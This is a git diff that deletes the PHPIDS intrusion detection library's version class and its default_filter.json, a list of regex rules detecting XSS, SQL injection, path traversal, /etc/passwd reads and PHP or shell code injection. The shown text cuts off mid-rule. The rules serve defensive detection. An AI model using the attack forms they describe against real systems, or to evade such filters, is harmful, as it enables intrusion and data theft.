--- a/apps/maarch_entreprise/tools/phpids/lib/IDS/Version.php +++ /dev/null @@ -1,49 +0,0 @@ -<?php -/** - * PHPIDS - * - * Requirements: PHP5, SimpleXML - * - * Copyright (c) 2008 PHPIDS group (https://phpids.org) - * - * PHPIDS is free software; you can redistribute it and/or modify - * it under the terms of the GNU Lesser General Public License as published by - * the Free Software Foundation, version 3 of the License, or - * (at your option) any later version. - * - * PHPIDS is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public License - * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. - * - * PHP version 5.1.6+ - * - * @category Security - * @package PHPIDS - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Christian Matthies <ch0012@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @link http://php-ids.org/ - */ - -/** - * PHPIDS version class - * - * @category Security - * @package PHPIDS - * @author Christian Matthies <ch0012@gmail.com> - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @copyright 2007-2009 The PHPIDS Group - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @version Release: $Id:Converter.php 517 2007-09-15 15:04:13Z mario $ - * @link http://php-ids.org/ - */ -abstract class IDS_Version -{ - const VERSION = '@@phpIdsVersion@@'; -} diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/default_filter.json b/apps/maarch_entreprise/tools/phpids/lib/IDS/default_filter.json deleted file mode 100755 index 0e68fa0cc171517c0c39dd37231830b1ab3abf2f..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/default_filter.json +++ /dev/null @@ -1 +0,0 @@ -{"filters":{"filter":[{"id":"1","rule":"(?:\"[^\"]*[^-]?>)|(?:[^\\w\\s]\\s*\\\/>)|(?:>\")","description":"finds html breaking injections including whitespace attacks","tags":{"tag":["xss","csrf"]},"impact":"4"},{"id":"2","rule":"(?:\"+.*[<=]\\s*\"[^\"]+\")|(?:\"\\s*\\w+\\s*=)|(?:>\\w=\\\/)|(?:#.+\\)[\"\\s]*>)|(?:\"\\s*(?:src|style|on\\w+)\\s*=\\s*\")|(?:[^\"]?\"[,;\\s]+\\w*[\\[\\(])","description":"finds attribute breaking injections including whitespace attacks","tags":{"tag":["xss","csrf"]},"impact":"4"},{"id":"3","rule":"(?:^>[\\w\\s]*<\\\/?\\w{2,}>)","description":"finds unquoted attribute breaking injections","tags":{"tag":["xss","csrf"]},"impact":"2"},{"id":"4","rule":"(?:[+\\\/]\\s*name[\\W\\d]*[)+])|(?:;\\W*url\\s*=)|(?:[^\\w\\s\\\/?:>]\\s*(?:location|referrer|name)\\s*[^\\\/\\w\\s-])","description":"Detects url-, name-, JSON, and referrer-contained payload attacks","tags":{"tag":["xss","csrf"]},"impact":"5"},{"id":"5","rule":"(?:\\W\\s*hash\\s*[^\\w\\s-])|(?:\\w+=\\W*[^,]*,[^\\s(]\\s*\\()|(?:\\?\"[^\\s\"]\":)|(?:(?<!\\\/)__[a-z]+__)|(?:(?:^|[\\s)\\]\\}])(?:s|g)etter\\s*=)","description":"Detects hash-contained xss payload attacks, setter usage and property overloading","tags":{"tag":["xss","csrf"]},"impact":"5"},{"id":"6","rule":"(?:with\\s*\\(\\s*.+\\s*\\)\\s*\\w+\\s*\\()|(?:(?:do|while|for)\\s*\\([^)]*\\)\\s*\\{)|(?:\\\/[\\w\\s]*\\[\\W*\\w)","description":"Detects self contained xss via with(), common loops and regex to string conversion","tags":{"tag":["xss","csrf"]},"impact":"5"},{"id":"7","rule":"(?:[=(].+\\?.+:)|(?:with\\([^)]*\\)\\))|(?:\\.\\s*source\\W)","description":"Detects JavaScript with(), ternary operators and XML predicate attacks","tags":{"tag":["xss","csrf"]},"impact":"5"},{"id":"8","rule":"(?:\\\/\\w*\\s*\\)\\s*\\()|(?:\\([\\w\\s]+\\([\\w\\s]+\\)[\\w\\s]+\\))|(?:(?<!(?:mozilla\\\/\\d\\.\\d\\s))\\([^)[]+\\[[^\\]]+\\][^)]*\\))|(?:[^\\s!][{([][^({[]+[{([][^}\\])]+[}\\])][\\s+\",\\d]*[}\\])])|(?:\"\\)?\\]\\W*\\[)|(?:=\\s*[^\\s:;]+\\s*[{([][^}\\])]+[}\\])];)","description":"Detects self-executing JavaScript functions","tags":{"tag":["xss","csrf"]},"impact":"5"},{"id":"9","rule":"(?:\\\\u00[a-f0-9]{2})|(?:\\\\x0*[a-f0-9]{2})|(?:\\\\\\d{2,3})","description":"Detects the IE octal, hex and unicode entities","tags":{"tag":["xss","csrf"]},"impact":"2"},{"id":"10","rule":"(?:(?:\\\/|\\\\)?\\.+(\\\/|\\\\)(?:\\.+)?)|(?:\\w+\\.exe\\??\\s)|(?:;\\s*\\w+\\s*\\\/[\\w*-]+\\\/)|(?:\\d\\.\\dx\\|)|(?:%(?:c0\\.|af\\.|5c\\.))|(?:\\\/(?:%2e){2})","description":"Detects basic directory traversal","tags":{"tag":["dt","id","lfi"]},"impact":"5"},{"id":"11","rule":"(?:%c0%ae\\\/)|(?:(?:\\\/|\\\\)(home|conf|usr|etc|proc|opt|s?bin|local|dev|tmp|kern|[br]oot|sys|system|windows|winnt|program|%[a-z_-]{3,}%)(?:\\\/|\\\\))|(?:(?:\\\/|\\\\)inetpub|localstart\\.asp|boot\\.ini)","description":"Detects specific directory and path traversal","tags":{"tag":["dt","id","lfi"]},"impact":"5"},{"id":"12","rule":"(?:etc\\\/\\W*passwd)","description":"Detects etc\/passwd inclusion attempts","tags":{"tag":["dt","id","lfi"]},"impact":"5"},{"id":"13","rule":"(?:%u(?:ff|00|e\\d)\\w\\w)|(?:(?:%(?:e\\w|c[^3\\W]|))(?:%\\w\\w)(?:%\\w\\w)?)","description":"Detects halfwidth\/fullwidth encoded unicode HTML breaking attempts","tags":{"tag":["xss","csrf"]},"impact":"3"},{"id":"14","rule":"(?:#@~\\^\\w+)|(?:\\w+script:|@import[^\\w]|;base64|base64,)|(?:\\w+\\s*\\([\\w\\s]+,[\\w\\s]+,[\\w\\s]+,[\\w\\s]+,[\\w\\s]+,[\\w\\s]+\\))","description":"Detects possible includes, VBSCript\/JScript encodeed and packed functions","tags":{"tag":["xss","csrf","id","rfe"]},"impact":"5"},{"id":"15","rule":"([^*:\\s\\w,.\\\/?+-]\\s*)?(?<![a-z]\\s)(?<![a-z\\\/_@\\-\\|])(\\s*return\\s*)?(?:create(?:element|attribute|textnode)|[a-z]+events?|setattribute|getelement\\w+|appendchild|createrange|createcontextualfragment|removenode|parentnode|decodeuricomponent|\\wettimeout|(?:ms)?setimmediate|option|useragent)(?(1)[^\\w%\"]|(?:\\s*[^@\\s\\w%\",.+\\-]))","description":"Detects JavaScript DOM\/miscellaneous properties and methods","tags":{"tag":["xss","csrf","id","rfe"]},"impact":"6"},{"id":"16","rule":"([^*\\s\\w,.\\\/?+-]\\s*)?(?<![a-mo-z]\\s)(?<![a-z\\\/_@])(\\s*return\\s*)?(?:alert|inputbox|showmod(?:al|eless)dialog|showhelp|infinity|isnan|isnull|iterator|msgbox|executeglobal|expression|prompt|write(?:ln)?|confirm|dialog|urn|(?:un)?eval|exec|execscript|tostring|status|execute|window|unescape|navigate|jquery|getscript|extend|prototype)(?(1)[^\\w%\"]|(?:\\s*[^@\\s\\w%\",.:\\\/+\\-]))","description":"Detects possible includes and typical script methods","tags":{"tag":["xss","csrf","id","rfe"]},"impact":"5"},{"id":"17","rule":"([^*:\\s\\w,.\\\/?+-]\\s*)?(?<![a-z]\\s)(?<![a-z\\\/_@])(\\s*return\\s*)?(?:hash|name|href|navigateandfind|source|pathname|close|constructor|port|protocol|assign|replace|back|forward|document|ownerdocument|window|top|this|self|parent|frames|_?content|date|cookie|innerhtml|innertext|csstext+?|outerhtml|print|moveby|resizeto|createstylesheet|stylesheets)(?(1)[^\\w%\"]|(?:\\s*[^@\\\/\\s\\w%.+\\-]))","description":"Detects JavaScript object properties and methods","tags":{"tag":["xss","csrf","id","rfe"]},"impact":"4"},{"id":"18","rule":"([^*:\\s\\w,.\\\/?+-]\\s*)?(?<![a-z]\\s)(?<![a-z\\\/_@\\-\\|])(\\s*return\\s*)?(?:join|pop|push|reverse|reduce|concat|map|shift|sp?lice|sort|unshift)(?(1)[^\\w%\"]|(?:\\s*[^@\\s\\w%,.+\\-]))","description":"Detects JavaScript array properties and methods","tags":{"tag":["xss","csrf","id","rfe"]},"impact":"4"},{"id":"19","rule":"([^*:\\s\\w,.\\\/?+-]\\s*)?(?<![a-z]\\s)(?<![a-z\\\/_@\\-\\|])(\\s*return\\s*)?(?:set|atob|btoa|charat|charcodeat|charset|concat|crypto|frames|fromcharcode|indexof|lastindexof|match|navigator|toolbar|menubar|replace|regexp|slice|split|substr|substring|escape|\\w+codeuri\\w*)(?(1)[^\\w%\"]|(?:\\s*[^@\\s\\w%,.+\\-]))","description":"Detects JavaScript string properties and methods","tags":{"tag":["xss","csrf","id","rfe"]},"impact":"4"},{"id":"20","rule":"(?:\\)\\s*\\[)|([^*\":\\s\\w,.\\\/?+-]\\s*)?(?<![a-z]\\s)(?<![a-z_@\\|])(\\s*return\\s*)?(?:globalstorage|sessionstorage|postmessage|callee|constructor|content|domain|prototype|try|catch|top|call|apply|url|function|object|array|string|math|if|for\\s*(?:each)?|elseif|case|switch|regex|boolean|location|(?:ms)?setimmediate|settimeout|setinterval|void|setexpression|namespace|while)(?(1)[^\\w%\"]|(?:\\s*[^@\\s\\w%\".+\\-\\\/]))","description":"Detects JavaScript language constructs","tags":{"tag":["xss","csrf","id","rfe"]},"impact":"4"},{"id":"21","rule":"(?:,\\s*(?:alert|showmodaldialog|eval)\\s*,)|(?::\\s*eval\\s*[^\\s])|([^:\\s\\w,.\\\/?+-]\\s*)?(?<![a-z\\\/_@])(\\s*return\\s*)?(?:(?:document\\s*\\.)?(?:.+\\\/)?(?:alert|eval|msgbox|showmod(?:al|eless)dialog|showhelp|prompt|write(?:ln)?|confirm|dialog|open))\\s*(?:[^.a-z\\s\\-]|(?:\\s*[^\\s\\w,.@\\\/+-]))|(?:java[\\s\\\/]*\\.[\\s\\\/]*lang)|(?:\\w\\s*=\\s*new\\s+\\w+)|(?:&\\s*\\w+\\s*\\)[^,])|(?:\\+[\\W\\d]*new\\s+\\w+[\\W\\d]*\\+)|(?:document\\.\\w)","description":"Detects very basic XSS probings","tags":{"tag":["xss","csrf","id","rfe"]},"impact":"3"},{"id":"22","rule":"(?:=\\s*(?:top|this|window|content|self|frames|_content))|(?:\\\/\\s*[gimx]*\\s*[)}])|(?:[^\\s]\\s*=\\s*script)|(?:\\.\\s*constructor)|(?:default\\s+xml\\s+namespace\\s*=)|(?:\\\/\\s*\\+[^+]+\\s*\\+\\s*\\\/)","description":"Detects advanced XSS probings via Script(), RexExp, constructors and XML namespaces","tags":{"tag":["xss","csrf","id","rfe"]},"impact":"5"},{"id":"23","rule":"(?:\\.\\s*\\w+\\W*=)|(?:\\W\\s*(?:location|document)\\s*\\W[^({[;]+[({[;])|(?:\\(\\w+\\?[:\\w]+\\))|(?:\\w{2,}\\s*=\\s*\\d+[^&\\w]\\w+)|(?:\\]\\s*\\(\\s*\\w+)","description":"Detects JavaScript location\/document property access and window access obfuscation","tags":{"tag":["xss","csrf"]},"impact":"5"},{"id":"24","rule":"(?:[\".]script\\s*\\()|(?:\\$\\$?\\s*\\(\\s*[\\w\"])|(?:\\\/[\\w\\s]+\\\/\\.)|(?:=\\s*\\\/\\w+\\\/\\s*\\.)|(?:(?:this|window|top|parent|frames|self|content)\\[\\s*[(,\"]*\\s*[\\w\\$])|(?:,\\s*new\\s+\\w+\\s*[,;)])","description":"Detects basic obfuscated JavaScript script injections","tags":{"tag":["xss","csrf"]},"impact":"5"},{"id":"25","rule":"(?:=\\s*[$\\w]\\s*[\\(\\[])|(?:\\(\\s*(?:this|top|window|self|parent|_?content)\\s*\\))|(?:src\\s*=s*(?:\\w+:|\\\/\\\/))|(?:\\w+\\[(\"\\w+\"|\\w+\\|\\|))|(?:[\\d\\W]\\|\\|[\\d\\W]|\\W=\\w+,)|(?:\\\/\\s*\\+\\s*[a-z\"])|(?:=\\s*\\$[^([]*\\()|(?:=\\s*\\(\\s*\")","description":"Detects obfuscated JavaScript script injections","tags":{"tag":["xss","csrf"]},"impact":"5"},{"id":"26","rule":"(?:[^:\\s\\w]+\\s*[^\\w\\\/](href|protocol|host|hostname|pathname|hash|port|cookie)[^\\w])","description":"Detects JavaScript cookie stealing and redirection attempts","tags":{"tag":["xss","csrf"]},"impact":"4"},{"id":"27","rule":"(?:(?:vbs|vbscript|data):.*[,+])|(?:\\w+\\s*=\\W*(?!https?)\\w+:)|(jar:\\w+:)|(=\\s*\"?\\s*vbs(?:ript)?:)|(language\\s*=\\s?\"?\\s*vbs(?:ript)?)|on\\w+\\s*=\\*\\w+\\-\"?","description":"Detects data: URL injections, VBS injections and common URI schemes","tags":{"tag":["xss","rfe"]},"impact":"5"},{"id":"28","rule":"(?:firefoxurl:\\w+\\|)|(?:(?:file|res|telnet|nntp|news|mailto|chrome)\\s*:\\s*[%&#xu\\\/]+)|(wyciwyg|firefoxurl\\s*:\\s*\\\/\\s*\\\/)","description":"Detects IE firefoxurl injections, cache poisoning attempts and local file inclusion\/execution","tags":{"tag":["xss","rfe","lfi","csrf"]},"impact":"5"},{"id":"29","rule":"(?:binding\\s?=|moz-binding|behavior\\s?=)|(?:[\\s\\\/]style\\s*=\\s*[-\\\\])","description":"Detects bindings and behavior injections","tags":{"tag":["xss","csrf","rfe"]},"impact":"4"},{"id":"30","rule":"(?:=\\s*\\w+\\s*\\+\\s*\")|(?:\\+=\\s*\\(\\s\")|(?:!+\\s*[\\d.,]+\\w?\\d*\\s*\\?)|(?:=\\s*\\[s*\\])|(?:\"\\s*\\+\\s*\")|(?:[^\\s]\\[\\s*\\d+\\s*\\]\\s*[;+])|(?:\"\\s*[&|]+\\s*\")|(?:\\\/\\s*\\?\\s*\")|(?:\\\/\\s*\\)\\s*\\[)|(?:\\d\\?.+:\\d)|(?:]\\s*\\[\\W*\\w)|(?:[^\\s]\\s*=\\s*\\\/)","description":"Detects common XSS concatenation patterns 1\/2","tags":{"tag":["xss","csrf","id","rfe"]},"impact":"4"},{"id":"31","rule":"(?:=\\s*\\d*\\.\\d*\\?\\d*\\.\\d*)|(?:[|&]{2,}\\s*\")|(?:!\\d+\\.\\d*\\?\")|(?:\\\/:[\\w.]+,)|(?:=[\\d\\W\\s]*\\[[^]]+\\])|(?:\\?\\w+:\\w+)","description":"Detects common XSS concatenation patterns 2\/2","tags":{"tag":["xss","csrf","id","rfe"]},"impact":"4"},{"id":"32","rule":"(?:[^\\w\\s=]on(?!g\\>)\\w+[^=_+-]*=[^$]+(?:\\W|\\>)?)","description":"Detects possible event handlers","tags":{"tag":["xss","csrf"]},"impact":"4"},{"id":"33","rule":"(?:\\<\\w*:?\\s(?:[^\\>]*)t(?!rong))|(?:\\<scri)|(<\\w+:\\w+)","description":"Detects obfuscated script tags and XML wrapped HTML","tags":{"tag":"xss"},"impact":"4"},{"id":"34","rule":"(?:\\<\\\/\\w+\\s\\w+)|(?:@(?:cc_on|set)[\\s@,\"=])","description":"Detects attributes in closing tags and conditional compilation tokens","tags":{"tag":["xss","csrf"]},"impact":"4"},{"id":"35","rule":"(?:--[^\\n]*$)|(?:\\<!-|-->)|(?:[^*]\\\/\\*|\\*\\\/[^*])|(?:(?:[\\W\\d]#|--|{)$)|(?:\\\/{3,}.*$)|(?:<!\\[\\W)|(?:\\]!>)","description":"Detects common comment types","tags":{"tag":["xss","csrf","id"]},"impact":"3"},{"id":"37","rule":"(?:\\<base\\s+)|(?:<!(?:element|entity|\\[CDATA))","description":"Detects base href injections and XML entity injections","tags":{"tag":["xss","csrf","id"]},"impact":"5"},{"id":"38","rule":"(?:\\<[\\\/]?(?:[i]?frame|applet|isindex|marquee|keygen|script|audio|video|input|button|textarea|style|base|body|meta|link|object|embed|param|plaintext|xm\\w+|image|im(?:g|port)))","description":"Detects possibly malicious html elements including some attributes","tags":{"tag":["xss","csrf","id","rfe","lfi"]},"impact":"4"},{"id":"39","rule":"(?:\\\\x[01fe][\\db-ce-f])|(?:%[01fe][\\db-ce-f])|(?:&#[01fe][\\db-ce-f])|(?:\\\\[01fe][\\db-ce-f])|(?:&#x[01fe][\\db-ce-f])","description":"Detects nullbytes and other dangerous characters","tags":{"tag":["id","rfe","xss"]},"impact":"5"},{"id":"40","rule":"(?:\\)\\s*when\\s*\\d+\\s*then)|(?:\"\\s*(?:#|--|{))|(?:\\\/\\*!\\s?\\d+)|(?:ch(?:a)?r\\s*\\(\\s*\\d)|(?:(?:(n?and|x?or|not)\\s+|\\|\\||\\&\\&)\\s*\\w+\\()","description":"Detects MySQL comments, conditions and ch(a)r injections","tags":{"tag":["sqli","id","lfi"]},"impact":"6"},{"id":"41","rule":"(?:[\\s()]case\\s*\\()|(?:\\)\\s*like\\s*\\()|(?:having\\s*[^\\s]+\\s*[^\\w\\s])|(?:if\\s?\\([\\d\\w]\\s*[=<>~])","description":"Detects conditional SQL injection attempts","tags":{"tag":["sqli","id","lfi"]},"impact":"6"},{"id":"42","rule":"(?:\"\\s*or\\s*\"?\\d)|(?:\\\\x(?:23|27|3d))|(?:^.?\"$)|(?:(?:^[\"\\\\]*(?:[\\d\"]+|[^\"]+\"))+\\s*(?:n?and|x?or|not|\\|\\||\\&\\&)\\s*[\\w\"[+&!@(),.-])|(?:[^\\w\\s]\\w+\\s*[|-]\\s*\"\\s*\\w)|(?:@\\w+\\s+(and|or)\\s*[\"\\d]+)|(?:@[\\w-]+\\s(and|or)\\s*[^\\w\\s])|(?:[^\\w\\s:]\\s*\\d\\W+[^\\w\\s]\\s*\".)|(?:\\Winformation_schema|table_name\\W)","description":"Detects classic SQL injection probings 1\/2","tags":{"tag":["sqli","id","lfi"]},"impact":"6"},{"id":"43","rule":"(?:\"\\s*\\*.+(?:or|id)\\W*\"\\d)|(?:\\^\")|(?:^[\\w\\s\"-]+(?<=and\\s)(?<=or\\s)(?<=xor\\s)(?<=nand\\s)(?<=not\\s)(?<=\\|\\|)(?<=\\&\\&)\\w+\\()|(?:\"[\\s\\d]*[^\\w\\s]+\\W*\\d\\W*.*[\"\\d])|(?:\"\\s*[^\\w\\s?]+\\s*[^\\w\\s]+\\s*\")|(?:\"\\s*[^\\w\\s]+\\s*[\\W\\d].*(?:#|--))|(?:\".*\\*\\s*\\d)|(?:\"\\s*or\\s[^\\d]+[\\w-]+.*\\d)|(?:[()*<>%+-][\\w-]+[^\\w\\s]+\"[^,])","description":"Detects classic SQL injection probings 2\/2","tags":{"tag":["sqli","id","lfi"]},"impact":"6"},{"id":"44","rule":"(?:\\d\"\\s+\"\\s+\\d)|(?:^admin\\s*\"|(\\\/\\*)+\"+\\s?(?:--|#|\\\/\\*|{)?)|(?:\"\\s*or[\\w\\s-]+\\s*[+<>=(),-]\\s*[\\d\"])|(?:\"\\s*[^\\w\\s]?=\\s*\")|(?:\"\\W*[+=]+\\W*\")|(?:\"\\s*[!=|][\\d\\s!=+-]+.*[\"(].*$)|(?:\"\\s*[!=|][\\d\\s!=]+.*\\d+$)|(?:\"\\s*like\\W+[\\w\"(])|(?:\\sis\\s*0\\W)|(?:where\\s[\\s\\w\\.,-]+\\s=)|(?:\"[<>~]+\")","description":"Detects basic SQL authentication bypass attempts 1\/3","tags":{"tag":["sqli","id","lfi"]},"impact":"7"},{"id":"45","rule":"(?:union\\s*(?:all|distinct|[(!@]*)?\\s*[([]*\\s*select)|(?:\\w+\\s+like\\s+\\\")|(?:like\\s*\"\\%)|(?:\"\\s*like\\W*[\"\\d])|(?:\"\\s*(?:n?and|x?or|not |\\|\\||\\&\\&)\\s+[\\s\\w]+=\\s*\\w+\\s*having)|(?:\"\\s*\\*\\s*\\w+\\W+\")|(?:\"\\s*[^?\\w\\s=.,;)(]+\\s*[(@\"]*\\s*\\w+\\W+\\w)|(?:select\\s*[\\[\\]()\\s\\w\\.,\"-]+from)|(?:find_in_set\\s*\\()","description":"Detects basic SQL authentication bypass attempts 2\/3","tags":{"tag":["sqli","id","lfi"]},"impact":"7"},{"id":"46","rule":"(?:in\\s*\\(+\\s*select)|(?:(?:n?and|x?or|not |\\|\\||\\&\\&)\\s+[\\s\\w+]+(?:regexp\\s*\\(|sounds\\s+like\\s*\"|[=\\d]+x))|(\"\\s*\\d\\s*(?:--|#))|(?:\"[%&<>^=]+\\d\\s*(=|or))|(?:\"\\W+[\\w+-]+\\s*=\\s*\\d\\W+\")|(?:\"\\s*is\\s*\\d.+\"?\\w)|(?:\"\\|?[\\w-]{3,}[^\\w\\s.,]+\")|(?:\"\\s*is\\s*[\\d.]+\\s*\\W.*\")","description":"Detects basic SQL authentication bypass attempts 3\/3","tags":{"tag":["sqli","id","lfi"]},"impact":"7"},{"id":"47","rule":"(?:[\\d\\W]\\s+as\\s*[\"\\w]+\\s*from)|(?:^[\\W\\d]+\\s*(?:union|select|create|rename|truncate|load|alter|delete|update|insert|desc))|(?:(?:select|create|rename|truncate|load|alter|delete|update|insert|desc)\\s+(?:(?:group_)concat|char|load_file)\\s?\\(?)|(?:end\\s*\\);)|(\"\\s+regexp\\W)|(?:[\\s(]load_file\\s*\\()","description":"Detects concatenated basic SQL injection and SQLLFI attempts","tags":{"tag":["sqli","id","lfi"]},"impact":"5"},{"id":"48","rule":"(?:@.+=\\s*\\(\\s*select)|(?:\\d+\\s*or\\s*\\d+\\s*[\\-+])|(?:\\\/\\w+;?\\s+(?:having|and|or|select)\\W)|(?:\\d\\s+group\\s+by.+\\()|(?:(?:;|#|--)\\s*(?:drop|alter))|(?:(?:;|#|--)\\s*(?:update|insert)\\s*\\w{2,})|(?:[^\\w]SET\\s*@\\w+)|(?:(?:n?and|x?or|not |\\|\\||\\&\\&)[\\s(]+\\w+[\\s)]*[!=+]+[\\s\\d]*[\"=()])","description":"Detects chained SQL injection attempts 1\/2","tags":{"tag":["sqli","id"]},"impact":"6"},{"id":"49","rule":"(?:\"\\s+and\\s*=\\W)|(?:\\(\\s*select\\s*\\w+\\s*\\()|(?:\\*\\\/from)|(?:\\+\\s*\\d+\\s*\\+\\s*@)|(?:\\w\"\\s*(?:[-+=|@]+\\s*)+[\\d(])|(?:coalesce\\s*\\(|@@\\w+\\s*[^\\w\\s])|(?:\\W!+\"\\w)|(?:\";\\s*(?:if|while|begin))|(?:\"[\\s\\d]+=\\s*\\d)|(?:order\\s+by\\s+if\\w*\\s*\\()|(?:[\\s(]+case\\d*\\W.+[tw]hen[\\s(])","description":"Detects chained SQL injection attempts 2\/2","tags":{"tag":["sqli","id"]},"impact":"6"},{"id":"50","rule":"(?:(select|;)\\s+(?:benchmark|if|sleep)\\s*?\\(\\s*\\(?\\s*\\w+)","description":"Detects SQL benchmark and sleep injection attempts including conditional queries","tags":{"tag":["sqli","id"]},"impact":"4"},{"id":"51","rule":"(?:create\\s+function\\s+\\w+\\s+returns)|(?:;\\s*(?:select|create|rename|truncate|load|alter|delete|update|insert|desc)\\s*[\\[(]?\\w{2,})","description":"Detects MySQL UDF injection and other data\/structure manipulation attempts","tags":{"tag":["sqli","id"]},"impact":"6"},{"id":"52","rule":"(?:alter\\s*\\w+.*character\\s+set\\s+\\w+)|(\";\\s*waitfor\\s+time\\s+\")|(?:\";.*:\\s*goto)","description":"Detects MySQL charset switch and MSSQL DoS attempts","tags":{"tag":["sqli","id"]},"impact":"6"},{"id":"53","rule":"(?:procedure\\s+analyse\\s*\\()|(?:;\\s*(declare|open)\\s+[\\w-]+)|(?:create\\s+(procedure|function)\\s*\\w+\\s*\\(\\s*\\)\\s*-)|(?:declare[^\\w]+[@#]\\s*\\w+)|(exec\\s*\\(\\s*@)","description":"Detects MySQL and PostgreSQL stored procedure\/function injections","tags":{"tag":["sqli","id"]},"impact":"7"},{"id":"54","rule":"(?:select\\s*pg_sleep)|(?:waitfor\\s*delay\\s?\"+\\s?\\d)|(?:;\\s*shutdown\\s*(?:;|--|#|\\\/\\*|{))","description":"Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts","tags":{"tag":["sqli","id"]},"impact":"5"},{"id":"55","rule":"(?:\\sexec\\s+xp_cmdshell)|(?:\"\\s*!\\s*[\"\\w])|(?:from\\W+information_schema\\W)|(?:(?:(?:current_)?user|database|schema|connection_id)\\s*\\([^\\)]*)|(?:\";?\\s*(?:select|union|having)\\s*[^\\s])|(?:\\wiif\\s*\\()|(?:exec\\s+master\\.)|(?:union select @)|(?:union[\\w(\\s]*select)|(?:select.*\\w?user\\()|(?:into[\\s+]+(?:dump|out)file\\s*\")","description":"Detects MSSQL code execution and information gathering attempts","tags":{"tag":["sqli","id"]},"impact":"5"},{"id":"56","rule":"(?:merge.*using\\s*\\()|(execute\\s*immediate\\s*\")|(?:\\W+\\d*\\s*having\\s*[^\\s\\-])|(?:match\\s*[\\w(),+-]+\\s*against\\s*\\()","description":"Detects MATCH AGAINST, MERGE, EXECUTE IMMEDIATE and HAVING injections","tags":{"tag":["sqli","id"]},"impact":"5"},{"id":"57","rule":"(?:,.*[)\\da-f\"]\"(?:\".*\"|\\Z|[^\"]+))|(?:\\Wselect.+\\W*from)|((?:select|create|rename|truncate|load|alter|delete|update|insert|desc)\\s*\\(\\s*space\\s*\\()","description":"Detects MySQL comment-\/space-obfuscated injections and backtick termination","tags":{"tag":["sqli","id"]},"impact":"5"},{"id":"58","rule":"(?:@[\\w-]+\\s*\\()|(?:]\\s*\\(\\s*[\"!]\\s*\\w)|(?:<[?%](?:php)?.*(?:[?%]>)?)|(?:;[\\s\\w|]*\\$\\w+\\s*=)|(?:\\$\\w+\\s*=(?:(?:\\s*\\$?\\w+\\s*[(;])|\\s*\".*\"))|(?:;\\s*\\{\\W*\\w+\\s*\\()","description":"Detects code injection attempts 1\/3","tags":{"tag":["id","rfe","lfi"]},"impact":"7"},{"id":"59","rule":"(?:(?:[;]+|(<[?%](?:php)?)).*(?:define|eval|file_get_contents|include|require|require_once|set|shell_exec|phpinfo|system|passthru|preg_\\w+|execute)\\s*[\"(@])","description":"Detects code injection attempts 2\/3","tags":{"tag":["id","rfe","lfi"]},"impact":"7"},{"id":"60","rule":"(?:(?:[;]+|(<[?%](?:php)?)).*[^\\w](?:echo|print|print_r|var_dump|[fp]open))|(?:;\\s*rm\\s+-\\w+\\s+)|(?:;.*{.*\\$\\w+\\s*=)|(?:\\$\\w+\\s*\\[\\]\\s*=\\s*)","description":"Detects code injection attempts 3\/3","tags":{"tag":["id","rfe","lfi"]},"impact":"7"},{"id":"61","rule":"(?:\\w+]?(?<!href)(?<!src)(?<!longdesc)(?<!returnurl)=(?:https?|ftp):)|(?:\\{\\s*\\$\\s*\\{)","description":"Detects url injections and RFE attempts","tags":{"tag":["id","rfe","lfi"]},"impact":"5"},{"id":"62","rule":"(?:function[^(]*\\([^)]*\\))|(?:(?:delete|void|throw|instanceof|new|typeof)[^\\w.]+\\w+\\s*[([])|([)\\]]\\s*\\.\\s*\\w+\\s*=)|(?:\\(\\s*new\\s+\\w+\\s*\\)\\.)","description":"Detects common function declarations and special JS operators","tags":{"tag":["id","rfe","lfi"]},"impact":"5"},{"id":"63","rule":"(?:[\\w.-]+@[\\w.-]+%(?:[01][\\db-ce-f])+\\w+:)","description":"Detects common mail header injections","tags":{"tag":["id","spam"]},"impact":"5"},{"id":"64","rule":"(?:\\.pl\\?\\w+=\\w?\\|\\w+;)|(?:\\|\\(\\w+=\\*)|(?:\\*\\s*\\)+\\s*;)","description":"Detects perl echo shellcode injection and LDAP vectors","tags":{"tag":["lfi","rfe"]},"impact":"5"},{"id":"65","rule":"(?:(^|\\W)const\\s+[\\w\\-]+\\s*=)|(?:(?:do|for|while)\\s*\\([^;]+;+\\))|(?:(?:^|\\W)on\\w+\\s*=[\\w\\W]*(?:on\\w+|alert|eval|print|confirm|prompt))|(?:groups=\\d+\\(\\w+\\))|(?:(.)\\1{128,})","description":"Detects basic XSS DoS attempts","tags":{"tag":["rfe","dos"]},"impact":"5"},{"id":"67","rule":"(?:\\({2,}\\+{2,}:{2,})|(?:\\({2,}\\+{2,}:+)|(?:\\({3,}\\++:{2,})|(?:\\$\\[!!!\\])","description":"Detects unknown attack vectors based on PHPIDS Centrifuge detection","tags":{"tag":["xss","csrf","id","rfe","lfi"]},"impact":"7"},{"id":"68","rule":"(?:[\\s\\\/\"]+[-\\w\\\/\\\\\\*]+\\s*=.+(?:\\\/\\s*>))","description":"Finds attribute breaking injections including obfuscated attributes","tags":{"tag":["xss","csrf"]},"impact":"4"},{"id":"69","rule":"(?:(?:msgbox|eval)\\s*\\+|(?:language\\s*=\\*vbscript))","description":"Finds basic VBScript injection attempts","tags":{"tag":["xss","csrf"]},"impact":"4"},{"id":"70","rule":"(?:\\[\\$(?:ne|eq|lte?|gte?|n?in|mod|all|size|exists|type|slice|or)\\])","description":"Finds basic MongoDB SQL injection attempts","tags":{"tag":"sqli"},"impact":"4"},{"id":"71","rule":"(?:[\\s\\d\\\/\"]+(?:on\\w+|style|poster|background)=[$\"\\w])|(?:-type\\s*:\\s*multipart)","description":"finds malicious attribute injection attempts and MHTML attacks","tags":{"tag":["xss","csrf"]},"impact":"6"},{"id":"72","rule":"(?:(sleep\\((\\s*)(\\d*)(\\s*)\\)|benchmark\\((.*)\\,(.*)\\)))","description":"Detects blind sqli tests using sleep() or 